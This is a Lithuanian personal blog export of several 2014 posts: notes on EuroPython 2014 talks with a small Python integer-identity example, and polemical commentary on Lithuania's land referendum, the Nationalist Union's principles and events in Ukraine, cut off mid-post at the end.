Numpy pagrindinis programuotojas pasakojo apie Python panaudojimą kažkur, kur matomai aš nenaudoju. Nes visa kalba ir visos nuorodos man yra svetimos ir nelabai suprantamos:<br />
- <a href="http://legacy.python.org/dev/peps/pep-3118/">http://legacy.python.org/dev/peps/pep-3118/</a><br />
- <a href="http://numba.pydata.org/">http://numba.pydata.org/</a><br />
- <a href="http://blaze.pydata.org/">http://blaze.pydata.org/</a><br />
- <a href="http://conda.pydata.org/">http://conda.pydata.org/</a><br />
<br />
<b>Scientific Visualization with GR</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/86/">https://ep2014.europython.eu/en/schedule/sessions/86/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-H3HfRd0awYk/U-p6-4xd_GI/AAAAAAAAA9Y/KvCAmscZPZ0/s1600/ep2014-33.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-H3HfRd0awYk/U-p6-4xd_GI/AAAAAAAAA9Y/KvCAmscZPZ0/s1600/ep2014-33.jpg" height="178" width="320" /></a></div>
<br />
Pristatė paketą vizualizuoti duomenims. Pagrindinis privalumas prieš matplotlib tas, kad yra ir 3D vizualizavimas. Paketas komercinis. Ir šiaip kalba – šeipsau.<br />
<br />
<b>Everything You Always Wanted to Know About Memory in Python But Were Afraid to</b><br />
<b>Ask</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/28/">https://ep2014.europython.eu/en/schedule/sessions/28/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-2Kho36emobY/U-p6_KezBfI/AAAAAAAAA9c/83_jm2LjR_A/s1600/ep2014-34.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-2Kho36emobY/U-p6_KezBfI/AAAAAAAAA9c/83_jm2LjR_A/s1600/ep2014-34.jpg" height="285" width="320" /></a></div>
<br />
Jau jaučiasi, kad paskutinė konferencijos diena. Ir aš turbūt pavargęs. Nelabai atsimenu, ką čia pasakojo. Turbūt šeipsau kalba, jeigu jau neatsimenu.<br />
<br />
Aij, bet tai prisiminiau vieną įdomų Python veikimo pavyzdį iš šios kalbos:<br />
<span style="font-family: "Courier New",Courier,monospace;">>>> foo = 1<br />>>> bar = 1<br />>>> foo is bar<br />True<br />>>> foo = 256<br />>>> bar = 256<br />>>> foo is bar<br />True<br />>>> foo = 257<br />>>> bar = 257<br />>>> foo is bar<br />False</span><br />
<br />
<a href="https://docs.python.org/2/c-api/int.html#PyInt_FromLong">https://docs.python.org/2/c-api/int.html#PyInt_FromLong</a><br />
<br />
Įdomūs paketai iš kalbos:<br />
- <a href="https://pypi.python.org/pypi/objgraph">https://pypi.python.org/pypi/objgraph</a><br />
- <a href="https://pypi.python.org/pypi/psutil">https://pypi.python.org/pypi/psutil</a><br />
<b><br /></b>
<b>Fun with cPython memory allocator</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/9/">https://ep2014.europython.eu/en/schedule/sessions/9/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-YzC376T6Ixs/U-p6_X7UbEI/AAAAAAAAA98/WoLMZ0WppF4/s1600/ep2014-35.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-YzC376T6Ixs/U-p6_X7UbEI/AAAAAAAAA98/WoLMZ0WppF4/s1600/ep2014-35.jpg" height="206" width="320" /></a></div>
<br />
Irgi nelabai, ką atsimenu. Kažkas apie tai kaip malloc ir draugus pakeisti kažkuo kitu. Jaučiu, kad susiję su šituo PEP:<br />
<a href="http://legacy.python.org/dev/peps/pep-0445/">http://legacy.python.org/dev/peps/pep-0445/</a><br />
<br />
<b>Concurrent programming with Python and my little experiment</b><br />
<a href="https://ep2014.europython.eu/en/schedule/sessions/65/">https://ep2014.europython.eu/en/schedule/sessions/65/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-Gm5X0tqat1I/U-p6_qgUnYI/AAAAAAAAA9k/-MEqEMYEHUA/s1600/ep2014-36.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-Gm5X0tqat1I/U-p6_qgUnYI/AAAAAAAAA9k/-MEqEMYEHUA/s1600/ep2014-36.jpg" height="209" width="320" /></a></div>
<br />
Buvo galima likti toje pačioje salėje ir klausytis dar vienos kalbos apie Python'o atmintį.<br />
<br />
Kaip žmogus perkėlė Go kalbos Goroutines idėjas į Python. Naudojantis naujuoju async.io:<br />
- <a href="https://docs.python.org/3/library/asyncio.html">https://docs.python.org/3/library/asyncio.html</a><br />
- <a href="https://github.com/benoitc/offset">https://github.com/benoitc/offset</a><br />
<br />
<b>Sprint Orientation</b><br />
<a href="https://ep2014.europython.eu/en/schedule/events/27/">https://ep2014.europython.eu/en/schedule/events/27/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-R3mFkfNqhOQ/U-p6_7KV07I/AAAAAAAAA9s/0ALx20mdPmM/s1600/ep2014-37.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-R3mFkfNqhOQ/U-p6_7KV07I/AAAAAAAAA9s/0ALx20mdPmM/s1600/ep2014-37.jpg" height="320" width="276" /></a></div>
<br />
Liepos 26-ą ir 27-ą vyko atviro kodo sprintai. Tai čia žmonės organizuojantys sprintus, juos pristatinėjo.<br />
<br />
Tai dabar po tų sprintų Django kode yra dvi mano parašytos kodo eilutės. Plius, keliolika eilučių unittest'ų.<br />
<br />
<b>Lightning Talks</b><br />
<a href="https://ep2014.europython.eu/en/schedule/events/28/">https://ep2014.europython.eu/en/schedule/events/28/</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-8TBGvgIxJpE/U-p7APDAoCI/AAAAAAAAA90/Pm4nsMtGDk0/s1600/ep2014-38.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-8TBGvgIxJpE/U-p7APDAoCI/AAAAAAAAA90/Pm4nsMtGDk0/s1600/ep2014-38.jpg" height="252" width="320" /></a></div>
<br />
Nieko gero neužsirašęs. Po teisybei beveik nieko neužsirašęs. Išskyrus vieną dalyką. Kad Yandex naudoja Python. Kažkodėl tuo metu įdomus faktas pasirodė.<br />
<br />
<span style="font-size: x-small;">[1] <a href="https://ep2014.europython.eu/en/">https://ep2014.europython.eu/en/</a></span><br />
<span style="font-size: x-small;">[2] <a href="http://petraszd.blogspot.com/2010/06/magistrantura-epilogas.html">http://petraszd.blogspot.com/2010/06/magistrantura-epilogas.html</a></span><br />
<span style="font-size: x-small;">[3] <a href="http://programisiu-godos.blogspot.com/2012/07/naudok-kudus-web-karkasus-ir-pipira.html">http://programisiu-godos.blogspot.com/2012/07/naudok-kudus-web-karkasus-ir-pipira.html</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com2tag:blogger.com,1999:blog-1632656242730180910.post-20325159540732159622014-06-27T00:35:00.001+03:002014-06-27T00:36:27.861+03:00Ąžuolo taip ir neatradau. Tai liepa matyt esuĮ referendumą neisiu. Kodėl neisiu? Nes nesu separatistas <a href="http://www.utopijos.lt/tikrosios-zemes-referendumo-priezastys/" target="_blank">[1]</a>. Ir dar nėr čia ko kartotis. Neisiu, nes Kleckas jau viską ir taip parašė <a href="http://www.kleckas.lt/blog/atmintine-apie-zemes-nepardavimo-referenduma" target="_blank">[2]</a>:<br />
<br />
<a href="http://www.kleckas.lt/blog/atmintine-apie-zemes-nepardavimo-referenduma">http://www.kleckas.lt/blog/atmintine-apie-zemes-nepardavimo-referenduma</a><br />
<br />
O ir šiaip nesinori kažkaip imti separatistų teiginius apie žemės pardavimą ir spardyti. Nu tokius, kaip kad fašistai žydai supirks Lietuvos žemę ir bus mums kaip Palestinai. Tiesiog per lengva ir jau tiek prirašyti, kad bus tas pats per tą patį.<br />
<br />
Beje, ar pastebėjote, kad kalbant apie žemės pirkimą, kai išlenda šitas istorinių žemės nupirkimų argumentas, yra ištraukiama gana daug tikrų ir nevisai tikrų pirkimų. Išskyrus, žinoma, vieną. Turbūt patį žymiausią atvejį. Kai prasiskolinusi Rusijos imperija kvailokai pardavė naftos gausią Aliaską Jungtinėms Amerikos Valstijoms. Nes gi kaip čia dabar Rusija kvailai galėjo pasielgti. Gi taip nebūna. Ji gi nekokia tolerastų sąjunga.<br />
<br />
Nu va. O žadėjau nespardyti. Gerai. Grįžtant prie referendumų. Kadangi oras tikriausiai bus prastokas, tai pagaliau galėsime išsiaiškinti vieną įdomų klausimą: kiek Lietuvoje yra separatistų ir/ar Rusijos valdžiai naudingų idiotų.<br />
<br />
Aš norėčiau, kad jų būtų tik kokie 10%~15%. Bet spėju, kad bus 20%~25%.<br />
<br />
Aš pats nedalyvausiu referendume, tai galiu būti visiškai objektyvus. Taigi, pirmą kartą gyvenime užsiimsiu prognozėmis. Mano prognozės:<br />
<br />
Ateis 30% balsavimo teisę turinčių rinkėjų. 80% procentai pasirinks separatistišką opciją. 30% * 0.8 ~= 24%.<br />
<br />
Aij, jeigu nesupratote, tai aš žodį separatistas naudoju nusakyti žmonėms, kurie nori išstoti iš ES (pagrinde dėl to, nes ES negalima mušti ir elektra gydyt gėjų ir lezbiečių). Didžioji jų dauguma nenori, kad Lietuva atsidurtų Rusijos įtakos zonoje, bet patys to nesuvokdami daro viską, kad taip atsitiktų.<br />
<br />
<span style="font-size: x-small;"><br />[1] <a href="http://www.utopijos.lt/tikrosios-zemes-referendumo-priezastys/">http://www.utopijos.lt/tikrosios-zemes-referendumo-priezastys/</a><br />[2] <a href="http://www.kleckas.lt/blog/atmintine-apie-zemes-nepardavimo-referenduma">http://www.kleckas.lt/blog/atmintine-apie-zemes-nepardavimo-referenduma</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-55915739525659977882014-02-17T01:15:00.003+02:002014-02-17T01:15:57.900+02:00Tautininkų sąjungos principų analizėČia kada VRK turėjo spręsti, ar leisti rengti referendumą dėl išstojimo iš Europos Sąjungos ir įstojimo į Eurazijos muitų sąjungą <a href="http://www.pinigukarta.lt/blog/kolumnistai/nupjauk-savyje-azuola-benzopjuklu" target="_blank">[1]</a>. Bet paskui sprendimą atidėjo <a href="http://www.15min.lt/naujiena/aktualu/lietuva/vrk-itaria-klasta-tikrinant-patikslintus-parasus-rasta-dvirankiu-sprendimas-del-referendumo-atidetas-56-405158?cf=df" target="_blank">[2]</a>. Pokalbiuose su pora tiesiogiai nesusijusiais referendumo parašų rinkėjais, man pačiam yra tekę išgirsti pusę lūpų prasitartą mintį, kad jų galutinis tikslas yra pabėgti iš ES. Ir taip – aš pažįstu tokių žmonių, kurie priversti keltis, nes juose yra tas ąžuolas.<br /><br />Tokių žmonių turėtumėte pažinoti ir jūs, net tie lunatikai sugebėjo surinkti apie 300 000 parašų. Taigi, aš darau prielaidą, kad Lietuvoje yra bent jau 10% žmonių, kuriems nepatinka Europos Sąjunga. Ir jų neveikia jokie argumentai (Pvz.: kad lietuviai dažniausiai eksportuoja į ES, o ne į ką nors kitą <a href="http://www.wto.org/english/res_e/statis_e/statis_bis_e.htm?solution=WTO&path=/Dashboards/MAPS&file=Map.wcdf&bookmarkState={%22impl%22:%22client%22,%22params%22:{%22langParam%22:%22en%22}}" target="_blank">[3]</a>). 3e5 parašų yra daug. O aš per mažai žinau apie tuos 10% lietuvių. Aš juos kartais kur nors susitinku ir kartais su jais bendrauju (Gi statistiškai, kas dešimtas sutiktas Lietuvos pilietis yra pasirašęs). Aš stengiuosi su jais bendrauti tik žemiškais klausimais. Bet jie visada nori kalbėti apie visokius pavojus ir supuvusius vakarus. O tada būna sunku, nes jie gana greitai išsitraukia kozerines kortas: "Kaip tai tau jokio skirtumo? Tai tu ne prieš tuos gėjus? Tai gal tu pats pyderas?!", "ES mes reikalingi, kaip nauja rinka. Ir ES mus išnaudoja ir iš mūsų daug uždirba", "Vanduo dega". Ir tik spėk atsimušinėti.<br /><br />Tai nutariau eiti ir pasiaiškinti, kas per tokie yra vieni iš pagrindinių referendumo veikėjų – tautininkų sąjunga (toliau tekste bus naudojamas SS trumpinys. TS naudoti negaliu nes Lietuvos politikoje tai įprastas trumpinys Tėvynės Sąjungai. O raidė S yra artimiausia priebalsė priebalsei T. Taigi SS). Taigi, nuėjau į jų oficialų puslapį. Ir nutariau paskaitinėti oficialius jų principus. Tuos, kurie gražiai sutvarkyti, tvarkingai suredaguoti ir nugludinti visi aštrūs kampai (Nepalikta jokių "Tai tu Gal pats pyderas?!").<br /><br />Taigi:<br /><br /><a href="http://www.tautininkusajunga.lt/lt/principai.html">http://www.tautininkusajunga.lt/lt/principai.html</a><span style="font-size: x-small;"> </span><br />
<br />
<span style="font-size: x-small;">(Toliau ištraukinėsiu paskirus sakinius ir/ar paskiras pastraipas ir kabinėsiuosi dėl kabinėjimosi. Kitaip tariant – analizuosiu ir interpretuosiu)</span><br />
<br /><b>Jų skyrius: "Tautos gerovė"</b> <br />
<blockquote class="tr_bq">
<i>Tačiau toks visuomenės susiskaldymas negali būti įveiktas vien labdaros sistemų plėtra.</i></blockquote>
Kažkaip užkliuvo man tas visuomenės susiskaldymas. Ir čia ne vien SS (Nu gerai, gerai – "SS" kaip trumpinio naudojimas yra labai pigus triukas. Daugiau jo nenaudosiu) klišė. Visi ją naudoja. Visi kažkaip sutinka, kad yra visuomenės susiskaldymas, bet dar niekad negirdėjau, ką jis konkrečiai reiškia. Įtariu Sovietų Sąjungoje nebuvo visuomenės susiskaldymo. Tai tarsi visuomenės susiskaldymas reiškia individo laisvės buvimą? Bet čia mano nukrypimas nuo temos. Atgal.<br /><br />"<i>negali būti įveiktas vien labdaros plėtra</i>". Kas reiškia, kad jie siūlo plėsti labdarą. Kas yra labdaros plėtra? Labdaros plėtra yra didesnės socialinės išmokos privataus sektoriaus darbuotojų arba ateities žmonių (valstybės skola) sąskaita. Kas pas tautininkus papildomai eina prie labdaros plėtros?<br />
<blockquote class="tr_bq">
<i>Reikalinga kryptinga ekonominė politika: viešos investicijos į sudėtingų energetikos uždavinių sprendimą, tolygią regionų plėtrą ir kt</i></blockquote>
Čia aš intepretuočiau, kad tautininkai yra už atominės elektrinės statybą, bet turbūt aš nekoks interpretatorius.<br />
<blockquote class="tr_bq">
<i>Europos Sąjungos fondų bei kita tarptautinė parama struktūrinei visuomenės ir ūkio pertvarkai turi būti nukreipta pirmiausia tokiems ilgalaikiams tikslams finansuoti.</i></blockquote>
Kas man sako, kad tautininkai bent jau patinka ES fondų pinigai. Bent jau tiek.<br /><br /><b>Jų skyrius: "Nacionalinių interesų pirmenybė"</b><br />
<blockquote class="tr_bq">
<i>Kiekvienas Lietuvos pilietis turi būti lojalus ne „Briuseliui“ ar „Kremliui“, bet tik savo šaliai.</i></blockquote>
ES netiesiogiai lygina su Sovietų Sąjunga. Gana įprastas triukas.<br />
<blockquote class="tr_bq">
<i>Tautininkai priešinasi numatomam Lietuvos pinigų panaikinimui, nes Tauta tokių įgaliojimų valdžiai nesuteikė.</i></blockquote>
Tautininkai bijo ir nenori Euro. Aš nesu didelis konstitucijos žinovas, bet tikriausiai tauta valdžiai nesuteikė įgaliojimų tuos litus sukurti. Nes Konstitucija priimata 1992, o Litas įvestas 1993.<br />
<blockquote class="tr_bq">
<i>Tauta referendumu pritarė stojimui į Europos Sąjungą, todėl mes gerbiame šį pasirinkimą. Bet Tautos gerovės vardan liksime nuoseklūs „eurokritikai“</i></blockquote>
Tautininkai teigia, kad jie yra eurokritikai kabutėse. Tačiau visame skyriuje jie vis dėl to kalba kaip tikri eurokritikai ir visai nekabutėse. Skyrius yra baigiamas svarbiausia ir geriausią reklamą darančia eurokritika, kuri deja puikiai veikia. Įdomu kiek žmoniu iš tų 3e5 pasirašė už referendumą vien dėl to, kad bijo lesbiečių ir gėjų.<br />
<blockquote class="tr_bq">
<i>Neprivalome strimgalviais pulti ir aklai įgyvendinti įvairias idėjas ar formas, kurios madingos nūdienos Europoje<br />...<br />Gerbdami kitų šalių ar tautų pasirinkimą, mes turime ryžtingai atmesti mums peršamas svetimybes, ypač jeigu jos silpnina ar gali susilpninti mūsų Tautą.<br />...<br />Tautininkams, remiantiems tvirtą šeimą ir sveiką gyvenimo būdą, nepriimtina homoseksualizmo propaganda ir vienos lyties asmenų santuokų įteisinimas</i></blockquote>
Įdomu, kad jie sveiką gyvenimo būdą laiko homoseksualumo priešingybe. Tarsi, blogas miego rėžimas, prasta dieta ir prasta fizinė forma yra kažkokie tik lezbietėms būdingi požymiai.<br /><br />Iš kitos pusės reikia pripažinti, kad jie gudriai čia naudoja "<i>homoseksualizmo propaganda</i>", o ne "<i>homoseksualizmas</i>".<br /><br /><b>Jų skyrius: Tautiškumas ir kultūra</b><br />
<blockquote class="tr_bq">
<i>Todėl valstybė turi reikšmingai investuoti į tautinių papročių puoselėjimą ir tautinės savimonės bei saviraiškos ugdymą.</i></blockquote>
Vėl turi investuoti. Labai jau mėgsta tautininkai leisti valstybinius pinigus.<br />
<blockquote class="tr_bq">
<i>Kultūros reiškinių negalima traktuoti pagal komercinės veiklos kriterijus. Būtina atsižvelgti į tai, kad net ir komercinį aspektą turinti kultūrinė veikla nėra tokia pelninga kaip išimtinai komercinė veikla</i></blockquote>
Kas yra išimtinai komercinė veikla? Kas čia per mintis?! Gi jeigu pardavinėji kefyrą, tai tavo veikla nėra grynai komercinė. Nes veikloje dar dalyvauja ir karvės. Tai automatiškai valstybė turi remti kefyro gamintojus, nes jie irgi vykdo neišimtinai komercinę veiklą.<br /><br />Čia aš įžvelgiu ataką prieš verslą. Maždaug: "Aš nesuprantu, ką jie daro. Reiškia jie nieko gero nedaro, o užsiima išimtinai komercine veikla. Ir dėl to paprasti žmonės negali turėti oraus gyvenimo, nors ir atrado ažuolą savyje".<br />
<blockquote class="tr_bq">
<i>Tačiau gali būti neskausmingai atsisakyta „fejerverkinės“, komercinės, eksperimentinės kultūros rėmimo, paliekant tai privačiai iniciatyvai.</i></blockquote>
Eksperimentinės kultūros tai tautininkai nerems. Nereikia jiems nieko naujo. Jie sutinka mokėti pinigus tik tiems, kurie kurs tik tai, kas jau buvo sukurta.<br /><br />Man jau pakankama bėda yra ta, kad iš vis bus remiama valstybės pinigais. Bet didžiausia bėda, kad tautininkai mano turį pakankamai kultūrinės kompetencijos nuspręsti, kas vertas paramos, o kas ne. Tas nėra taip blogai kaip, kad kai politikai pradeda spręsti istorikų klausimus. Bet vistiek.<br /><br /><b>Jų skyrius: Nepakantumas korupcijai</b><br />
<blockquote class="tr_bq">
<i>Deklaruodami savo turtą ir pajamas piliečiai ir kiti Lietuvoje gyvenantys asmenys turi nurodyti turimo turto šaltinius bei jų legalumą. Iškreipta turtinė gyventojų pajamų diferenciacija nesuderinama su socialiniu teisingumu.<br /><br />Dėl to turi būti parengtos ir įgyvendintos priemonės, mažinančios korupciją.</i></blockquote>
Vajezau. Pirmas sakinys apie didijį brolį. Antras iš vis. Socialinis teisigumas anot tautininkų yra tik tada kai visi vienodai uždirba. Ir vienintelis paaiškinimas, kodėl vieni uždirba daugiau už kitus yra korupcija. Jeigu korupcijos nebūtų – visi uždirbų vienodai.<br />
<blockquote class="tr_bq">
<i>Teisėsaugos darbuotojams, ypač žemesnės grandies būtina taikyti plačią socialinių garantijų sistemą – socialinis (valdiškas) būstas lengvatinėmis sąlygomis, kuris lieka darbuotojui nuosavybės teise, garbingai baigus tarnybą ir netenkamas, pašalinus iš tarnybos; valstybės apmokamas gydymas, galbūt net šeimos nariams, ir kt</i></blockquote>
O kur dingo socialinis teisingumas tiems valstybinių įstaigų darbuotojams, kurie nedėvi uniformų? Ar čia tik keistas sutapimas, kad tautininkai labai mėgsta uniformas (ale karines) ir jų principuose yra išskirtinės sąlygos būtent teisėsaugos darbuotojams?<br />
<blockquote class="tr_bq">
<i>Turi būtina sugriežtintos bausmės už kriminalinius ir ekonominius nusikaltimus, už piktnaudžiavimą tarnybine padėtimi, korupciją, kyšininkavimą, kontrabandą, už bet kokį asmens ar turto prievartavimą, už narkotikų platinimą, ypač jaunimui.<br />...<br />Įkalintieji turi būti įdarbinami, kad gautas atlyginimas, atskaičius įkalinimo išlaidas, būtų pagrindas greitesnei išėjusiųjų į laisvę reintegracijai į visuomenę.</i></blockquote>
Reikia pripažinti, kad šitos dvi pastraipos tekste yra gana toli viena nuo kitos. Bet jos yra įdomios. Nes jie nori griežtinti bausmes. Automatiškai didės kalinių skaičius. Tada paimti tuos kalinius ir liepti jiems dirbti ("<i>turi būti</i>").<br /><br />Čia tautininkai kalba apie valstybinių įmonių sukūrimą, kurių pagrindinė žaliava būtų įkalintieji. Ir kurių pagrindinis konkurencinis pranašumas būtų tas, kad "darbuotojai" privalo dirbti ir negali "išeiti iš darbo". Atsižvelgiant dar ir į tai, kad tautininkai taip pat siūlo išskirtinias sąlygas teisėsaugos darbuotojams – labai jau įdomios valstybės viziją jie turi.<br /><br /><b>Jų skyrius: Stipriai Lietuvai - stipri ekonomika</b><br /><br />Trumpiausias skyrius iš visų. Ir kažin kodėl apie ekonomiką. Nes spangti apie tikrą tradicinę šeimą galima ištisais paragrafais, o va apie ekonomiką tai pritrūksta rašalo.<br />
<blockquote class="tr_bq">
<i>Užsienio investicijų skatinimo politika turi siekti investuojančių šalių įvairovės, o pirmenybė turi būti teikiama investicijoms, kurios sukuria Lietuvoje pridėtinę vertę ir stiprina jos tarptautinį konkurencingumą.</i></blockquote>
Įdomu, ar žemės paradvimą užsieniečiams tautininkai laikytų užsienio investicijų skatinimo politika?<br /><br /><b>Jų skyrius: Šeima</b><br /><br />Tautininkų kozerinis skyrius. Tapatus Putino tradicinės šeimos naratyvui (Deja, bet tam naratyvui pritaria ir kiti TS – Tėvynės Sąjunga <a href="http://leolenox.wordpress.com/2014/01/24/kaip-ts-lkd-rusijos-cara-myli/" target="_blank">[4]</a>). Net neįdomu prie šito skyriaus kabinėtis.<br />
<blockquote class="tr_bq">
<i>Atvirkščiai, Lietuva galėtų parodyti kelią iš beatodairiško individualizmo bei susvetimėjimo aklavietės ir kitiems, juolab, kad šeimos krizės padariniai Lietuvoje jaučiami ne mažiau, nei daugelyje kitų Europos valstybių<br />...<br />Tautininkų siekis – sudaryti sąlygas kilnios, taurios asmenybės ugdymui. Didžios asmenybės kelia tautos vertę, o tautos gerovė yra tiesiogiai susijusi su asmens gerove.</i></blockquote>
Mažins individualizmą, bet skatins išskirtinių asmenybių ugdymą.<br />
<br /><b>Mano išvados</b><br /><br />Nu ką. Vienintelis įdomesnes ir keistesnes išvadas pateikęs skyrius yra apie kalėjimus ir teisėsaugą. Kur tautininkai, mano manymu, siūlo kurti šiuolaikinį darbo stovyklų atitikmenį. O visi kiti skyriai daugmaž parodė tai, ko ir tikėjausi. Tautininkų sąjunga pagrindiniai principai yra nacionalizmas (vien pats pavadinimas. Nes gi "Tauta" == "Nacija") ir socializmas (Daug skatins, rems, finansuos, išmokės, suteiks, socialinė teisibė). Aš norėčiau jiems pasakyti:<br />
<br />– Ech jūs, nacionaliniai socialistai, nepatinka man jūsų principai.<br /><br />Bet kažkaip tie du ilgi žodžiai kreipinyje neskamba, nors tu ką. Gaila, kad nėra jokio, tarkim, trijų skiemenų skambaus trumpo žodžio, kuris apjungtų šias dvi sąvokas: nacionalizmas ir socializmas. Ir, tarkim, dviejų skiemenų žodžio nusakyti asmeniui, kuris išpažįsta tas ideologijas.<br /><br /><span style="font-size: x-small;">[1] <a href="http://www.pinigukarta.lt/blog/kolumnistai/nupjauk-savyje-azuola-benzopjuklu">http://www.pinigukarta.lt/blog/kolumnistai/nupjauk-savyje-azuola-benzopjuklu</a><br />[2] <a href="http://www.15min.lt/naujiena/aktualu/lietuva/vrk-itaria-klasta-tikrinant-patikslintus-parasus-rasta-dvirankiu-sprendimas-del-referendumo-atidetas-56-405158?cf=df">http://www.15min.lt/naujiena/aktualu/lietuva/vrk-itaria-klasta-tikrinant-patikslintus-parasus-rasta-dvirankiu-sprendimas-del-referendumo-atidetas-56-405158?cf=df</a><br />[3] <a href="http://www.wto.org/english/res_e/statis_e/statis_bis_e.htm?solution=WTO&path=/Dashboards/MAPS&file=Map.wcdf&bookmarkState={%22impl%22:%22client%22,%22params%22:{%22langParam%22:%22en%22}}">http://www.wto.org/english/res_e/statis_e/statis_bis_e.htm?solution=WTO&path=/Dashboards/MAPS&file=Map.wcdf&bookmarkState={%22impl%22:%22client%22,%22params%22:{%22langParam%22:%22en%22}}</a><br />[4] <a href="http://leolenox.wordpress.com/2014/01/24/kaip-ts-lkd-rusijos-cara-myli/">http://leolenox.wordpress.com/2014/01/24/kaip-ts-lkd-rusijos-cara-myli/</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com5tag:blogger.com,1999:blog-1632656242730180910.post-20631912450895001192014-01-30T00:12:00.003+02:002014-01-30T00:13:36.232+02:00Aš europietisAš europietis. Ne rytų europietis. Aš tiesiog europietis. Anksčiau visąlaik galvojau, kad esu truputį prastesnis. Toks murzius, sėdintis restorane su kitais prie stalo, nežinantis kurią šakutę iš tų trijų imti. Aš iš tikro nežinau, kada kurį įrankį imti. Kartais ir kairę su dešinę sumaišau. Bet aš tikras europietis.<br />
<br />
Ir tą man padėjo suprasti Rusijos propaganda. Nušviesdama Ukrainos įvykius, Rusijos žiniasklaida kliedi apie tai, kad Lietuva ir lietuviai padeda ruošti banditus ir smogikus, kurie paskui skriaudžia vargšus berkutininkus <a href="http://www.economist.com/blogs/easternapproaches/2013/12/ukraine" target="_blank">[1]</a><a href="http://www.huffingtonpost.com/2013/12/11/russia-television-coverage-putin-ukraine_n_4427400.html" target="_blank">[2]</a><a href="http://protokolai.com/2014/01/28/ukraina-vakarai-nugali-pagaliau/" target="_blank">[3]</a>.<br />
<br />
(Atleiskite. Kirilica neskaitau, dėl to negaliu įdėti tikrų nuorodų į pirmaeilius šaltinius)<br />
<br />
Ką tai reiškia? Tai reiškia, kad mes esame visateisiai vakarų kapitalistai. Ar ne apie tai kiekvienas lietuvis svajojo nuo pat okupacijos pradžios. Čia tik nuosaikiu požiūriu. Šiek tiek laisvesniu požiūriu, turbūt nuo dar seniau norėjo būti tikru europiečiu.<br />
<br />
Viena vertus, stebint įvykius Ukrainoje yra kažkiek džiugu. Nes panašu, kad jau visų nurašyta, kaip dar viena Baltarusija, Ukraina turės šansą siekti geresnių sąlygų, susikurti geresnį gyvenimą. Tikiuosi, kad jiems pavyks išplaukti, o ne nuskęsti.<br />
<br />
Iš kitos pusės yra šiek tiek liūdna žiūrėti į ukrainiečius, Mainade kovojančius dėl geresnio gyvenimo vilčių. Ir jie kovoja, būtent dėl geresnio gyvenimo galimybių turėjimo, o ne dėl tiesiog geresnio gyvenimo. Taip – gal ir ne visi tą žino. Taip – jeigu jiems pasiseks, už eilės metų atsiras tokių, kurie spangs, kad ne už tokią Ukrainą jie kovojo. Bet tokių žmonių egzistavimas reikš šiandieninių įvykių sėkmę. Nes iki šiol jų sąlygos yra šūdinos <a href="http://rokiskis.popo.lt/2014/01/26/ivykiai-ukrainoje-ir-lietuvos-problemos/" target="_blank">[4]</a>.<br />
<br />
O liūdna dėl to, kad žinau, jog kaip netiek ir daug trūko iki to, kad Lietuva būtų panašioje padėtyje kaip Ukraina. Taip ir nedaug trūko iki to, kad Ukraina dabar būtų tokioje padėtyje kaip yra Lietuva. Nes vos prieš dvidešimt kelis metus abi šalys startavo iš vos ne tų pačių pozicijų.<br />
<br />
Taip pat nereikia pamiršti, kad ir ne tik Ukraina ateityje gali pasiekti dabartinės Lietuvos lygį. Bet Lietuva taip pat sėkmingai gali pasiekti dabartinės Ukrainos lygį. Tuo labiau, kad yra pakankamai daug žmonių sąmoningai ar nesąmoningai to siekiančių <a href="http://www.lrytas.lt/lietuvos-diena/komentarai/lietuvos-zemes-nuosavybe-ir-miuncheno-pakto-dvasia.htm" target="_blank">[5]</a>.<br />
<br />
<span style="font-size: x-small;">[1] <a href="http://www.economist.com/blogs/easternapproaches/2013/12/ukraine">http://www.economist.com/blogs/easternapproaches/2013/12/ukraine</a><br />[2] <a href="http://www.huffingtonpost.com/2013/12/11/russia-television-coverage-putin-ukraine_n_4427400.html">http://www.huffingtonpost.com/2013/12/11/russia-television-coverage-putin-ukraine_n_4427400.html</a><br />[3] <a href="http://protokolai.com/2014/01/28/ukraina-vakarai-nugali-pagaliau/">http://protokolai.com/2014/01/28/ukraina-vakarai-nugali-pagaliau/</a><br />[4] <a href="http://rokiskis.popo.lt/2014/01/26/ivykiai-ukrainoje-ir-lietuvos-problemos/">http://rokiskis.popo.lt/2014/01/26/ivykiai-ukrainoje-ir-lietuvos-problemos/</a><br />[5] <a href="http://www.lrytas.lt/lietuvos-diena/komentarai/lietuvos-zemes-nuosavybe-ir-miuncheno-pakto-dvasia.htm">http://www.lrytas.lt/lietuvos-diena/komentarai/lietuvos-zemes-nuosavybe-ir-miuncheno-pakto-dvasia.htm</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com3tag:blogger.com,1999:blog-1632656242730180910.post-59125639588065573512014-01-12T12:29:00.000+02:002014-01-12T12:29:00.982+02:00Šalčiūtė nekomentuoja Graužinienės pasisakymųAtsimenu Graužinienę pavertė Seimo pirmininke. Ir prasidėjo. Atsiverti spaudos puslapius (dažniausiai internetinius) ir kiekviename portale dominuoja straipsniai apie dvi 